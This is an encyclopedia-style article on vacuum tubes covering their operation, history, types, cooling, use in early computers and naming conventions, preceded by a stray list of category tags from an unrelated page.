Investigations and hearings of the United States Congress
Torture in the United States
War on terror
Works about the Central Intelligence Agency
Reports of the United States government
Psychological torture techniques
2014 in American politics
Central Intelligence Agency controversies
Publications of the United States Congress
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https://en.wikipedia.org/wiki/Vacuum%20tube
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Vacuum tube
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A vacuum tube, electron tube, valve (British usage), or tube (North America), is a device that controls electric current flow in a high vacuum between electrodes to which an electric potential difference has been applied.
The type known as a thermionic tube or thermionic valve utilizes thermionic emission of electrons from a hot cathode for fundamental electronic functions such as signal amplification and current rectification. Non-thermionic types such as a vacuum phototube, however, achieve electron emission through the photoelectric effect, and are used for such purposes as the detection of light intensities. In both types, the electrons are accelerated from the cathode to the anode by the electric field in the tube.
The simplest vacuum tube, the diode, invented in 1904 by John Ambrose Fleming, contains only a heated electron-emitting cathode and an anode. Electrons can only flow in one direction through the device—from the cathode to the anode. Adding one or more control grids within the tube allows the current between the cathode and anode to be controlled by the voltage on the grids.
These devices became a key component of electronic circuits for the first half of the twentieth century. They were crucial to the development of radio, television, radar, sound recording and reproduction, long-distance telephone networks, and analog and early digital computers. Although some applications had used earlier technologies such as the spark gap transmitter for radio or mechanical computers for computing, it was the invention of the thermionic vacuum tube that made these technologies widespread and practical, and created the discipline of electronics.
In the 1940s, the invention of semiconductor devices made it possible to produce solid-state devices, which are smaller, more efficient, reliable, durable, safer, and more economical than thermionic tubes. Beginning in the mid-1960s, thermionic tubes were being replaced by the transistor. However, the cathode-ray tube (CRT) remained the basis for television monitors and oscilloscopes until the early 21st century. Thermionic tubes are still used in some applications, such as the magnetron used in microwave ovens, certain high-frequency amplifiers, and amplifiers that audio enthusiasts prefer for their "warmer" tube sound.
Not all electronic circuit valves/electron tubes are vacuum tubes. Gas-filled tubes are similar devices, but containing a gas, typically at low pressure, which exploit phenomena related to electric discharge in gases, usually without a heater.
Classifications
One classification of thermionic vacuum tubes is by the number of active electrodes. A device with two active elements is a diode, usually used for rectification. Devices with three elements are triodes used for amplification and switching. Additional electrodes create tetrodes, pentodes, and so forth, which have multiple additional functions made possible by the additional controllable electrodes.
Other classifications are:
by frequency range (audio, radio, VHF, UHF, microwave)
by power rating (small-signal, audio power, high-power radio transmitting)
by cathode/filament type (indirectly heated, directly heated) and warm-up time (including "bright-emitter" or "dull-emitter")
by characteristic curves design (e.g., sharp- versus remote-cutoff in some pentodes)
by application (receiving tubes, transmitting tubes, amplifying or switching, rectification, mixing)
specialized parameters (long life, very low microphonic sensitivity and low-noise audio amplification, rugged or military versions)
specialized functions (light or radiation detectors, video imaging tubes)
tubes used to display information ("magic eye" tubes, vacuum fluorescent displays, CRTs)
Tubes have different functions, such as cathode ray tubes which create a beam of electrons for display purposes (such as the television picture tube) in addition to more specialized functions such as electron microscopy and electron beam lithography. X-ray tubes are also vacuum tubes. Phototubes and photomultipliers rely on electron flow through a vacuum, though in those cases electron emission from the cathode depends on energy from photons rather than thermionic emission. Since these sorts of "vacuum tubes" have functions other than electronic amplification and rectification they are described elsewhere.
Description
A vacuum tube consists of two or more electrodes in a vacuum inside an airtight envelope. Most tubes have glass envelopes with a glass-to-metal seal based on kovar sealable borosilicate glasses, though ceramic and metal envelopes (atop insulating bases) have been used. The electrodes are attached to leads which pass through the envelope via an airtight seal. Most vacuum tubes have a limited lifetime, due to the filament or heater burning out or other failure modes, so they are made as replaceable units; the electrode leads connect to pins on the tube's base which plug into a tube socket. Tubes were a frequent cause of failure in electronic equipment, and consumers were expected to be able to replace tubes themselves. In addition to the base terminals, some tubes had an electrode terminating at a top cap. The principal reason for doing this was to avoid leakage resistance through the tube base, particularly for the high impedance grid input. The bases were commonly made with phenolic insulation which performs poorly as an insulator in humid conditions. Other reasons for using a top cap include improving stability by reducing grid-to-anode capacitance, improved high-frequency performance, keeping a very high plate voltage away from lower voltages, and accommodating one more electrode than allowed by the base. There was even an occasional design that had two top cap connections.
The earliest vacuum tubes evolved from incandescent light bulbs, containing a filament sealed in an evacuated glass envelope. When hot, the filament releases electrons into the vacuum, a process called thermionic emission, originally known as the Edison effect. A second electrode, the anode or plate, will attract those electrons if it is at a more positive voltage. The result is a net flow of electrons from the filament to plate. However, electrons cannot flow in the reverse direction because the plate is not heated and does not emit electrons. The filament (cathode) has a dual function: it emits electrons when heated; and, together with the plate, it creates an electric field due to the potential difference between them. Such a tube with only two electrodes is termed a diode, and is used for rectification. Since current can only pass in one direction, such a diode (or rectifier) will convert alternating current (AC) to pulsating DC. Diodes can therefore be used in a DC power supply, as a demodulator of amplitude modulated (AM) radio signals and for similar functions.
Early tubes used the filament as the cathode; this is called a "directly heated" tube. Most modern tubes are "indirectly heated" by a "heater" element inside a metal tube that is the cathode. The heater is electrically isolated from the surrounding cathode and simply serves to heat the cathode sufficiently for thermionic emission of electrons. The electrical isolation allows all the tubes' heaters to be supplied from a common circuit (which can be AC without inducing hum) while allowing the cathodes in different tubes to operate at different voltages. H. J. Round invented the indirectly heated tube around 1913.
The filaments require constant and often considerable power, even when amplifying signals at the microwatt level. Power is also dissipated when the electrons from the cathode slam into the anode (plate) and heat it; this can occur even in an idle amplifier due to quiescent currents necessary to ensure linearity and low distortion. In a power amplifier, this heating can be considerable and can destroy the tube if driven beyond its safe limits. Since the tube contains a vacuum, the anodes in most small and medium power tubes are cooled by radiation through the glass envelope. In some special high power applications, the anode forms part of the vacuum envelope to conduct heat to an external heat sink, usually cooled by a blower, or water-jacket.
Klystrons and magnetrons often operate their anodes (called collectors in klystrons) at ground potential to facilitate cooling, particularly with water, without high-voltage insulation. These tubes instead operate with high negative voltages on the filament and cathode.
Except for diodes, additional electrodes are positioned between the cathode and the plate (anode). These electrodes are referred to as grids as they are not solid electrodes but sparse elements through which electrons can pass on their way to the plate. The vacuum tube is then known as a triode, tetrode, pentode, etc., depending on the number of grids. A triode has three electrodes: the anode, cathode, and one grid, and so on. The first grid, known as the control grid, (and sometimes other grids) transforms the diode into a voltage-controlled device: the voltage applied to the control grid affects the current between the cathode and the plate. When held negative with respect to the cathode, the control grid creates an electric field that repels electrons emitted by the cathode, thus reducing or even stopping the current between cathode and anode. As long as the control grid is negative relative to the cathode, essentially no current flows into it, yet a change of several volts on the control grid is sufficient to make a large difference in the plate current, possibly changing the output by hundreds of volts (depending on the circuit). The solid-state device which operates most like the pentode tube is the junction field-effect transistor (JFET), although vacuum tubes typically operate at over a hundred volts, unlike most semiconductors in most applications.
History and development
The 19th century saw increasing research with evacuated tubes, such as the Geissler and Crookes tubes. The many scientists and inventors who experimented with such tubes include Thomas Edison, Eugen Goldstein, Nikola Tesla, and Johann Wilhelm Hittorf. With the exception of early light bulbs, such tubes were only used in scientific research or as novelties. The groundwork laid by these scientists and inventors, however, was critical to the development of subsequent vacuum tube technology.
Although thermionic emission was originally reported in 1873 by Frederick Guthrie, it was Thomas Edison's apparently independent discovery of the phenomenon in 1883 that became well known. Although Edison was aware of the unidirectional property of current flow between the filament and the anode, his interest (and patent) concentrated on the sensitivity of the anode current to the current through the filament (and thus filament temperature). It was years later that John Ambrose Fleming applied the rectifying property of the Edison effect to detection of radio signals, as an improvement over the magnetic detector.
Amplification by vacuum tube became practical only with Lee de Forest's 1907 invention of the three-terminal "audion" tube, a crude form of what was to become the triode. Being essentially the first electronic amplifier, such tubes were instrumental in long-distance telephony (such as the first coast-to-coast telephone line in the US) and public address systems, and introduced a far superior and versatile technology for use in radio transmitters and receivers. The electronics revolution of the 20th century arguably began with the invention of the triode vacuum tube.
Diodes
At the end of the 19th century, radio or wireless technology was in an early stage of development and the Marconi Company was engaged in development and construction of radio communication systems. Marconi appointed English physicist John Ambrose Fleming as scientific advisor in 1899. Fleming had been engaged as scientific advisor to Edison Telephone (1879), as scientific advisor at Edison Electric Light (1882), and was also technical consultant to Edison-Swan. One of Marconi's needs was for improvement of the detector. Marconi had developed a magnetic detector, which was less responsive to natural sources of radio frequency interference than the coherer, but the magnetic detector only provided an audio frequency signal to a telephone receiver. A reliable detector that could drive a printing instrument was needed. As a result of experiments conducted on Edison effect bulbs, Fleming developed a vacuum tube that he termed the oscillation valve because it passed current in only one direction. The cathode was a carbon lamp filament, heated by passing current through it, that produced thermionic emission of electrons. Electrons that had been emitted from the cathode were attracted to the plate (anode) when the plate was at a positive voltage with respect to the cathode. Electrons could not pass in the reverse direction because the plate was not heated and not capable of thermionic emission of electrons. Fleming filed a patent for these tubes, assigned to the Marconi company, in the UK in November 1904 and this patent was issued in September 1905. Later known as the Fleming valve, the oscillation valve was developed for the purpose of rectifying radio frequency current as the detector component of radio receiver circuits.
While offering no advantage over the electrical sensitivity of crystal detectors, the Fleming valve offered advantage, particularly in shipboard use, over the difficulty of adjustment of the crystal detector and the susceptibility of the crystal detector to being dislodged from adjustment by vibration or bumping.
The first vacuum tube diodes designed for rectifier application in power supply circuits were introduced in April 1915 by Saul Dushman of General Electric.
Triodes
Originally, the only use for tubes in radio circuits was for rectification, not amplification. In 1906, Robert von Lieben filed for a patent for a cathode ray tube which included magnetic deflection. This could be used for amplifying audio signals and was intended for use in telephony equipment. He would later help refine the triode vacuum tube.
However, Lee de Forest is credited with inventing the triode tube in 1907 while experimenting to improve his original (diode) Audion. By placing an additional electrode between the filament (cathode) and plate (anode), he discovered the ability of the resulting device to amplify signals. As the voltage applied to the control grid (or simply "grid") was lowered from the cathode's voltage to somewhat more negative voltages, the amount of current from the filament to the plate would be reduced. The negative electrostatic field created by the grid in the vicinity of the cathode would inhibit the passage of emitted electrons and reduce the current to the plate. With the voltage of the grid less than that of the cathode, no direct current could pass from the cathode to the grid.
Thus a change of voltage applied to the grid, requiring very little power input to the grid, could make a change in the plate current and could lead to a much larger voltage change at the plate; the result was voltage and power amplification. In 1908, de Forest was granted a patent () for such a three-electrode version of his original Audion for use as an electronic amplifier in radio communications. This eventually became known as the triode.
de Forest's original device was made with conventional vacuum technology. The vacuum was not a "hard vacuum" but rather left a very small amount of residual gas. The physics behind the device's operation was also not settled. The residual gas would cause a blue glow (visible ionization) when the plate voltage was high (above about 60 volts). In 1912, de Forest brought the Audion to Harold Arnold in AT&T's engineering department. Arnold recommended that AT&T purchase the patent, and AT&T followed his recommendation. Arnold developed high-vacuum tubes which were tested in the summer of 1913 on AT&T's long-distance network. The high-vacuum tubes could operate at high plate voltages without a blue glow.
Finnish inventor Eric Tigerstedt significantly improved on the original triode design in 1914, while working on his sound-on-film process in Berlin, Germany. Tigerstedt's innovation was to make the electrodes concentric cylinders with the cathode at the centre, thus greatly increasing the collection of emitted electrons at the anode.
Irving Langmuir at the General Electric research laboratory (Schenectady, New York) had improved Wolfgang Gaede's high-vacuum diffusion pump and used it to settle the question of thermionic emission and conduction in a vacuum. Consequently, General Electric started producing hard vacuum triodes (which were branded Pliotrons) in 1915. Langmuir patented the hard vacuum triode, but de Forest and AT&T successfully asserted priority and invalidated the patent.
Pliotrons were closely followed by the French type 'TM' and later the English type 'R' which were in widespread use by the allied military by 1916. Historically, vacuum levels in production vacuum tubes typically ranged from 10 µPa down to 10 nPa ( down to ).
The triode and its derivatives (tetrodes and pentodes) are transconductance devices, in which the controlling signal applied to the grid is a voltage, and the resulting amplified signal appearing at the anode is a current. Compare this to the behavior of the bipolar junction transistor, in which the controlling signal is a current and the output is also a current.
For vacuum tubes, transconductance or mutual conductance () is defined as the change in the plate(anode)/cathode current divided by the corresponding change in the grid to cathode voltage, with a constant plate(anode) to cathode voltage. Typical values of for a small-signal vacuum tube are 1 to 10 millisiemens. It is one of the three 'constants' of a vacuum tube, the other two being its gain μ and plate resistance or . The Van der Bijl equation defines their relationship as follows:
The non-linear operating characteristic of the triode caused early tube audio amplifiers to exhibit harmonic distortion at low volumes. Plotting plate current as a function of applied grid voltage, it was seen that there was a range of grid voltages for which the transfer characteristics were approximately linear.
To use this range, a negative bias voltage had to be applied to the grid to position the DC operating point in the linear region. This was called the idle condition, and the plate current at this point the "idle current". The controlling voltage was superimposed onto the bias voltage, resulting in a linear variation of plate current in response to positive and negative variation of the input voltage around that point.
This concept is called grid bias. Many early radio sets had a third battery called the "C battery" (unrelated to the present-day C cell, for which the letter denotes its size and shape). The C battery's positive terminal was connected to the cathode of the tubes (or "ground" in most circuits) and whose negative terminal supplied this bias voltage to the grids of the tubes.
Later circuits, after tubes were made with heaters isolated from their cathodes, used cathode biasing, avoiding the need for a separate negative power supply. For cathode biasing, a relatively low-value resistor is connected between the cathode and ground. This makes the cathode positive with respect to the grid, which is at ground potential for DC.
However C batteries continued to be included in some equipment even when the "A" and "B" batteries had been replaced by power from the AC mains. That was possible because there was essentially no current draw on these batteries; they could thus last for many years (often longer than all the tubes) without requiring replacement.
When triodes were first used in radio transmitters and receivers, it was found that tuned amplification stages had a tendency to oscillate unless their gain was very limited. This was due to the parasitic capacitance between the plate (the amplifier's output) and the control grid (the amplifier's input), known as the Miller capacitance.
Eventually the technique of neutralization was developed whereby the RF transformer connected to the plate (anode) would include an additional winding in the opposite phase. This winding would be connected back to the grid through a small capacitor, and when properly adjusted would cancel the Miller capacitance. This technique was employed and led to the success of the Neutrodyne radio during the 1920s.
However, neutralization required careful adjustment and proved unsatisfactory when used over a wide range of frequencies.
Tetrodes and pentodes
To combat the stability problems of the triode as a radio frequency amplifier due to grid-to-plate capacitance, the physicist Walter H. Schottky invented the tetrode or screen grid tube in 1919. He showed that the addition of an electrostatic shield between the control grid and the plate could solve the problem. This design was refined by Hull and Williams. The added grid became known as the screen grid or shield grid. The screen grid is operated at a positive voltage significantly less than the plate voltage and it is bypassed to ground with a capacitor of low impedance at the frequencies to be amplified.
This arrangement substantially decouples the plate and the control grid, eliminating the need for neutralizing circuitry at medium wave broadcast frequencies. The screen grid also largely reduces the influence of the plate voltage on the space charge near the cathode, permitting the tetrode to produce greater voltage gain than the triode in amplifier circuits. While the amplification factors of typical triodes commonly range from below ten to around 100, tetrode amplification factors of 500 are common. Consequently, higher voltage gains from a single tube amplification stage became possible, reducing the number of tubes required. Screen grid tubes were put on the market in late 1927.
However, the useful region of operation of the screen grid tube as an amplifier was limited to plate voltages greater than the screen grid voltage, due to secondary emission from the plate. In any tube, electrons strike the plate with sufficient energy to cause the emission of electrons from its surface. In a triode this secondary emission of electrons is not important since they are simply re-captured by the plate. But in a tetrode they can be captured by the screen grid since it is also at a positive voltage, robbing them from the plate current and reducing the amplification of the tube. Since secondary electrons can outnumber the primary electrons over a certain range of plate voltages, the plate current can decrease with increasing plate voltage. This is the dynatron region or tetrode kink and is an example of negative resistance which can itself cause instability. Another undesirable consequence of secondary emission is that screen current is increased, which may cause the screen to exceed its power rating.
The otherwise undesirable negative resistance region of the plate characteristic was exploited with the dynatron oscillator circuit to produce a simple oscillator only requiring connection of the plate to a resonant LC circuit to oscillate. The dynatron oscillator operated on the same principle of negative resistance as the tunnel diode oscillator many years later.
The dynatron region of the screen grid tube was eliminated by adding a grid between the screen grid and the plate to create the pentode. The suppressor grid of the pentode was usually connected to the cathode and its negative voltage relative to the anode repelled secondary electrons so that they would be collected by the anode instead of the screen grid. The term pentode means the tube has five electrodes. The pentode was invented in 1926 by Bernard D. H. Tellegen and became generally favored over the simple tetrode. Pentodes are made in two classes: those with the suppressor grid wired internally to the cathode (e.g. EL84/6BQ5) and those with the suppressor grid wired to a separate pin for user access (e.g. 803, 837). An alternative solution for power applications is the beam tetrode or beam power tube, discussed below.
Multifunction and multisection tubes
Superheterodyne receivers require a local oscillator and mixer, combined in the function of a single pentagrid converter tube. Various alternatives such as using a combination of a triode with a hexode and even an octode have been used for this purpose. The additional grids include control grids (at a low potential) and screen grids (at a high voltage). Many designs use such a screen grid as an additional anode to provide feedback for the oscillator function, whose current adds to that of the incoming radio frequency signal. The pentagrid converter thus became widely used in AM receivers, including the miniature tube version of the "All American Five". Octodes, such as the 7A8, were rarely used in the United States, but much more common in Europe, particularly in battery operated radios where the lower power consumption was an advantage.
To further reduce the cost and complexity of radio equipment, two separate structures (triode and pentode for instance) can be combined in the bulb of a single multisection tube. An early example is the Loewe 3NF. This 1920s device has three triodes in a single glass envelope together with all the fixed capacitors and resistors required to make a complete radio receiver. As the Loewe set had only one tube socket, it was able to substantially undercut the competition, since, in Germany, state tax was levied by the number of sockets. However, reliability was compromised, and production costs for the tube were much greater. In a sense, these were akin to integrated circuits. In the United States, Cleartron briefly produced the "Multivalve" triple triode for use in the Emerson Baby Grand receiver. This Emerson set also has a single tube socket, but because it uses a four-pin base, the additional element connections are made on a "mezzanine" platform at the top of the tube base.
By 1940 multisection tubes had become commonplace. There were constraints, however, due to patents and other licensing considerations (see British Valve Association). Constraints due to the number of external pins (leads) often forced the functions to share some of those external connections such as their cathode connections (in addition to the heater connection). The RCA Type 55 is a double diode triode used as a detector, automatic gain control rectifier and audio preamplifier in early AC powered radios. These sets often include the 53 Dual Triode Audio Output. Another early type of multi-section tube, the 6SN7, is a "dual triode" which performs the functions of two triode tubes while taking up half as much space and costing less.
The 12AX7 is a dual "high mu" (high voltage gain) triode in a miniature enclosure, and became widely used in audio signal amplifiers, instruments, and guitar amplifiers.
The introduction of the miniature tube base (see below) which can have 9 pins, more than previously available, allowed other multi-section tubes to be introduced, such as the 6GH8/ECF82 triode-pentode, quite popular in television receivers. The desire to include even more functions in one envelope resulted in the General Electric Compactron which has 12 pins. A typical example, the 6AG11, contains two triodes and two diodes.
Some otherwise conventional tubes do not fall into standard categories; the 6AR8, 6JH8 and 6ME8 have several common grids, followed by a pair of beam deflection electrodes which deflected the current towards either of two anodes. They were sometimes known as the 'sheet beam' tubes and used in some color TV sets for color demodulation. The similar 7360 was popular as a balanced SSB (de)modulator.
Beam power tubes
A beam power tube forms the electron stream from the cathode into multiple partially collimated beams to produce a low potential space charge region between the anode and screen grid to return anode secondary emission electrons to the anode when the anode potential is less than that of the screen grid. Formation of beams also reduces screen grid current. In some cylindrically symmetrical beam power tubes, the cathode is formed of narrow strips of emitting material that are aligned with the apertures of the control grid, reducing control grid current. This design helps to overcome some of the practical barriers to designing high-power, high-efficiency power tubes.
Manufacturer's data sheets often use the terms beam pentode or beam power pentode instead of beam power tube, and use a pentode graphic symbol instead of a graphic symbol showing beam forming plates.
Beam power tubes offer the advantages of a longer load line, less screen current, higher transconductance and lower third harmonic distortion than comparable power pentodes. Beam power tubes can be connected as triodes for improved audio tonal quality but in triode mode deliver significantly reduced power output.
Gas-filled tubes
Gas-filled tubes such as discharge tubes and cold cathode tubes are not hard vacuum tubes, though are always filled with gas at less than sea-level atmospheric pressure. Types such as the voltage-regulator tube and thyratron resemble hard vacuum tubes and fit in sockets designed for vacuum tubes. Their distinctive orange, red, or purple glow during operation indicates the presence of gas; electrons flowing in a vacuum do not produce light within that region. These types may still be referred to as "electron tubes" as they do perform electronic functions. High-power rectifiers use mercury vapor to achieve a lower forward voltage drop than high-vacuum tubes.
Miniature tubes
Early tubes used a metal or glass envelope atop an insulating bakelite base. In 1938 a technique was developed to use an all-glass construction with the pins fused in the glass base of the envelope. This was used in the design of a much smaller tube outline, known as the miniature tube, having seven or nine pins. Making tubes smaller reduced the voltage where they could safely operate, and also reduced the power dissipation of the filament. Miniature tubes became predominant in consumer applications such as radio receivers and hi-fi amplifiers. However, the larger older styles continued to be used especially as higher-power rectifiers, in higher-power audio output stages and as transmitting tubes.
Sub-miniature tubes
Sub-miniature tubes with a size roughly that of half a cigarette were used in consumer applications as hearing-aid amplifiers. These tubes did not have pins plugging into a socket but were soldered in place. The "acorn tube" (named due to its shape) was also very small, as was the metal-cased RCA nuvistor from 1959, about the size of a thimble. The nuvistor was developed to compete with the early transistors and operated at higher frequencies than those early transistors could. The small size supported especially high-frequency operation; nuvistors were used in aircraft radio transceivers, UHF television tuners, and some HiFi FM radio tuners (Sansui 500A) until replaced by high-frequency capable transistors.
Improvements in construction and performance
The earliest vacuum tubes strongly resembled incandescent light bulbs and were made by lamp manufacturers, who had the equipment needed to manufacture glass envelopes and the vacuum pumps required to evacuate the enclosures. de Forest used Heinrich Geissler's mercury displacement pump, which left behind a partial vacuum. The development of the diffusion pump in 1915 and improvement by Irving Langmuir led to the development of high-vacuum tubes. After World War I, specialized manufacturers using more economical construction methods were set up to fill the growing demand for broadcast receivers. Bare tungsten filaments operated at a temperature of around 2200 °C. The development of oxide-coated filaments in the mid-1920s reduced filament operating temperature to a dull red heat (around 700 °C), which in turn reduced thermal distortion of the tube structure and allowed closer spacing of tube elements. This in turn improved tube gain, since the gain of a triode is inversely proportional to the spacing between grid and cathode. Bare tungsten filaments remain in use in small transmitting tubes but are brittle and tend to fracture if handled roughly—e.g. in the postal services. These tubes are best suited to stationary equipment where impact and vibration is not present.
Indirectly heated cathodes
The desire to power electronic equipment using AC mains power faced a difficulty with respect to the powering of the tubes' filaments, as these were also the cathode of each tube. Powering the filaments directly from a power transformer introduced mains-frequency (50 or 60 Hz) hum into audio stages. The invention of the "equipotential cathode" reduced this problem, with the filaments being powered by a balanced AC power transformer winding having a grounded center tap.
A superior solution, and one which allowed each cathode to "float" at a different voltage, was that of the indirectly heated cathode: a cylinder of oxide-coated nickel acted as an electron-emitting cathode and was electrically isolated from the filament inside it. Indirectly heated cathodes enable the cathode circuit to be separated from the heater circuit. The filament, no longer electrically connected to the tube's electrodes, became simply known as a "heater", and could as well be powered by AC without any introduction of hum. In the 1930s, indirectly heated cathode tubes became widespread in equipment using AC power. Directly heated cathode tubes continued to be widely used in battery-powered equipment as their filaments required considerably less power than the heaters required with indirectly heated cathodes.
Tubes designed for high gain audio applications may have twisted heater wires to cancel out stray electric fields, fields that could induce objectionable hum into the program material.
Heaters may be energized with either alternating current (AC) or direct current (DC). DC is often used where low hum is required.
Use in electronic computers
Vacuum tubes used as switches made electronic computing possible for the first time, but the cost and relatively short mean time to failure of tubes were limiting factors. "The common wisdom was that valves—which, like light bulbs, contained a hot glowing filament—could never be used satisfactorily in large numbers, for they were unreliable, and in a large installation too many would fail in too short a time". Tommy Flowers, who later designed Colossus, "discovered that, so long as valves were switched on and left on, they could operate reliably for very long periods, especially if their 'heaters' were run on a reduced current". In 1934 Flowers built a successful experimental installation using over 3,000 tubes in small independent modules; when a tube failed, it was possible to switch off one module and keep the others going, thereby reducing the risk of another tube failure being caused; this installation was accepted by the Post Office (who operated telephone exchanges). Flowers was also a pioneer of using tubes as very fast (compared to electromechanical devices) electronic switches. Later work confirmed that tube unreliability was not as serious an issue as generally believed; the 1946 ENIAC, with over 17,000 tubes, had a tube failure (which took 15 minutes to locate) on average every two days. The quality of the tubes was a factor, and the diversion of skilled people during the Second World War lowered the general quality of tubes. During the war Colossus was instrumental in breaking German codes. After the war, development continued with tube-based computers including, military computers ENIAC and Whirlwind, the Ferranti Mark 1 (one of the first commercially available electronic computers), and UNIVAC I, also available commercially.
Advances using subminiature tubes included the Jaincomp series of machines produced by the Jacobs Instrument Company of Bethesda, Maryland. Models such as its Jaincomp-B employed just 300 such tubes in a desktop-sized unit that offered performance to rival many of the then room-sized machines.
Colossus
Flowers's Colossus and its successor Colossus Mk2 were built by the British during World War II to substantially speed up the task of breaking the German high level Lorenz encryption. Using about 1,500 vacuum tubes (2,400 for Mk2), Colossus replaced an earlier machine based on relay and switch logic (the Heath Robinson). Colossus was able to break in a matter of hours messages that had previously taken several weeks; it was also much more reliable. Colossus was the first use of vacuum tubes working in concert on such a large scale for a single machine.
Whirlwind and "special-quality" tubes
To meet the reliability requirements of the 1951 US digital computer Whirlwind, "special-quality" tubes with extended life, and a long-lasting cathode in particular, were produced. The problem of short lifetime was traced largely to evaporation of silicon, used in the tungsten alloy to make the heater wire easier to draw. The silicon forms barium orthosilicate at the interface between the nickel sleeve and the cathode barium oxide coating. This "cathode interface" is a high-resistance layer (with some parallel capacitance) which greatly reduces the cathode current when the tube is switched into conduction mode. Elimination of silicon from the heater wire alloy (and more frequent replacement of the wire drawing dies) allowed the production of tubes that were reliable enough for the Whirlwind project. High-purity nickel tubing and cathode coatings free of materials such as silicates and aluminum that can reduce emissivity also contribute to long cathode life.
The first such "computer tube" was Sylvania's 7AK7 pentode of 1948 (these replaced the 7AD7, which was supposed to be better quality than the standard 6AG7 but proved too unreliable). Computers were the first tube devices to run tubes at cutoff (enough negative grid voltage to make them cease conduction) for quite-extended periods of time. Running in cutoff with the heater on accelerates cathode poisoning and the output current of the tube will be greatly reduced when switched into conduction mode. The 7AK7 tubes improved the cathode poisoning problem, but that alone was insufficient to achieve the required reliability. Further measures included switching off the heater voltage when the tubes were not required to conduct for extended periods, turning on and off the heater voltage with a slow ramp to avoid thermal shock on the heater element, and stress testing the tubes during offline maintenance periods to bring on early failure of weak units.
The tubes developed for Whirlwind were later used in the giant SAGE air-defense computer system. By the late 1950s, it was routine for special-quality small-signal tubes to last for hundreds of thousands of hours if operated conservatively. This increased reliability also made mid-cable amplifiers in submarine cables possible.
Heat generation and cooling
A considerable amount of heat is produced when tubes operate, from both the filament (heater) and the stream of electrons bombarding the plate. In power amplifiers, this source of heat is greater than cathode heating. A few types of tube permit operation with the anodes at a dull red heat; in other types, red heat indicates severe overload.
The requirements for heat removal can significantly change the appearance of high-power vacuum tubes. High power audio amplifiers and rectifiers required larger envelopes to dissipate heat. Transmitting tubes could be much larger still.
Heat escapes the device by black-body radiation from the anode (plate) as infrared radiation, and by convection of air over the tube envelope. Convection is not possible inside most tubes since the anode is surrounded by vacuum.
Tubes which generate relatively little heat, such as the 1.4-volt filament directly heated tubes designed for use in battery-powered equipment, often have shiny metal anodes. 1T4, 1R5 and 1A7 are examples. Gas-filled tubes such as thyratrons may also use a shiny metal anode since the gas present inside the tube allows for heat convection from the anode to the glass enclosure.
The anode is often treated to make its surface emit more infrared energy. High-power amplifier tubes are designed with external anodes that can be cooled by convection, forced air or circulating water. The water-cooled 80 kg, 1.25 MW 8974 is among the largest commercial tubes available today.
In a water-cooled tube, the anode voltage appears directly on the cooling water surface, thus requiring the water to be an electrical insulator to prevent high voltage leakage through the cooling water to the radiator system. Water as usually supplied has ions that conduct electricity; deionized water, a good insulator, is required. Such systems usually have a built-in water-conductance monitor which will shut down the high-tension supply if the conductance becomes too high.
The screen grid may also generate considerable heat. Limits to screen grid dissipation, in addition to plate dissipation, are listed for power devices. If these are exceeded then tube failure is likely.
Tube packages
Most modern tubes have glass envelopes, but metal, fused quartz (silica) and ceramic have also been used. A first version of the 6L6 used a metal envelope sealed with glass beads, while a glass disk fused to the metal was used in later versions. Metal and ceramic are used almost exclusively for power tubes above 2 kW dissipation. The nuvistor was a modern receiving tube using a very small metal and ceramic package.
The internal elements of tubes have always been connected to external circuitry via pins at their base which plug into a socket. Subminiature tubes were produced using wire leads rather than sockets, however, these were restricted to rather specialized applications. In addition to the connections at the base of the tube, many early triodes connected the grid using a metal cap at the top of the tube; this reduces stray capacitance between the grid and the plate leads. Tube caps were also used for the plate (anode) connection, particularly in transmitting tubes and tubes using a very high plate voltage.
High-power tubes such as transmitting tubes have packages designed more to enhance heat transfer. In some tubes, the metal envelope is also the anode. The 4CX1000A is an external anode tube of this sort. Air is blown through an array of fins attached to the anode, thus cooling it. Power tubes using this cooling scheme are available up to 150 kW dissipation. Above that level, water or water-vapor cooling are used. The highest-power tube currently available is the Eimac , a forced water-cooled power tetrode capable of dissipating 2.5 megawatts. By comparison, the largest power transistor can only dissipate about 1 kilowatt.
Names
The generic name "[thermionic] valve" used in the UK derives from the unidirectional current flow allowed by the earliest device, the thermionic diode emitting electrons from a heated filament, by analogy with a non-return valve in a water pipe. The US names "vacuum tube", "electron tube", and "thermionic tube" all simply describe a tubular envelope which has been evacuated ("vacuum"), has a heater and controls electron flow.
In many cases, manufacturers and the military gave tubes designations that said nothing about their purpose (e.g., 1614). In the early days some manufacturers used proprietary names which might convey some information, but only about their products; the KT66 and KT88 were "kinkless tetrodes". Later, consumer tubes were given names that conveyed some information, with the same name often used generically by several manufacturers. In the US, Radio Electronics Television Manufacturers' Association (RETMA) designations comprise a number, followed by one or two letters, and a number. The first number is the (rounded) heater voltage; the letters designate a particular tube but say nothing about its structure; and the final number is the total number of electrodes (without distinguishing between, say, a tube with many electrodes, or two sets of electrodes in a single envelope—a double triode, for example). For example, the 12AX7 is a double triode (two sets of three electrodes plus heater) with a 12.6V heater (which, as it happens, can also be connected to run from 6.3V). The "AX" has no meaning other than to designate this particular tube according to its characteristics. Similar, but not identical, tubes are the 12AD7, 12AE7...12AT7, 12AU7, 12AV7, 12AW7 (rare!), 12AY7, and the 12AZ7.
A system widely used in Europe known as the Mullard–Philips tube designation, also extended to transistors, uses a letter, followed by one or more further letters, and a number. The type designator specifies the heater voltage or current (one letter), the functions of all sections of the tube (one letter per section), the socket type (first digit), and the particular tube (remaining digits). For example, the ECC83 (equivalent to the 12AX7) is a 6.3V (E) double triode (CC) with a miniature base (8). In this system special-quality tubes (e.g., for long-life computer use) are indicated by moving the number immediately after the first letter: the E83CC is a special-quality equivalent of the ECC83, the E55L a power pentode with no consumer equivalent.
Special-purpose tubes
Some special-purpose tubes are constructed with particular gases in the envelope. For instance, voltage-regulator tubes contain various inert gases such as argon, helium or neon, which will ionize at predictable voltages. The thyratron is a special-purpose tube filled with low-pressure gas or mercury vapor. Like vacuum tubes, it contains a hot cathode and an anode, but also a control electrode which behaves somewhat like the grid of a triode. When the control electrode starts conduction, the gas ionizes, after which the control electrode can no longer stop the current; the tube "latches" into conduction. Removing anode (plate) voltage lets the gas de-ionize, restoring its non-conductive state.
Some thyratrons can carry large currents for their physical size. One example is the miniature type 2D21, often seen in 1950s jukeboxes as control switches for relays. A cold-cathode version of the thyratron, which uses a pool of mercury for its cathode, is called an ignitron; some can switch thousands of amperes. Thyratrons containing hydrogen have a very consistent time delay between their turn-on pulse and full conduction; they behave much like modern silicon-controlled rectifiers, also called thyristors due to their functional similarity to thyratrons. Hydrogen thyratrons have long been used in radar transmitters.
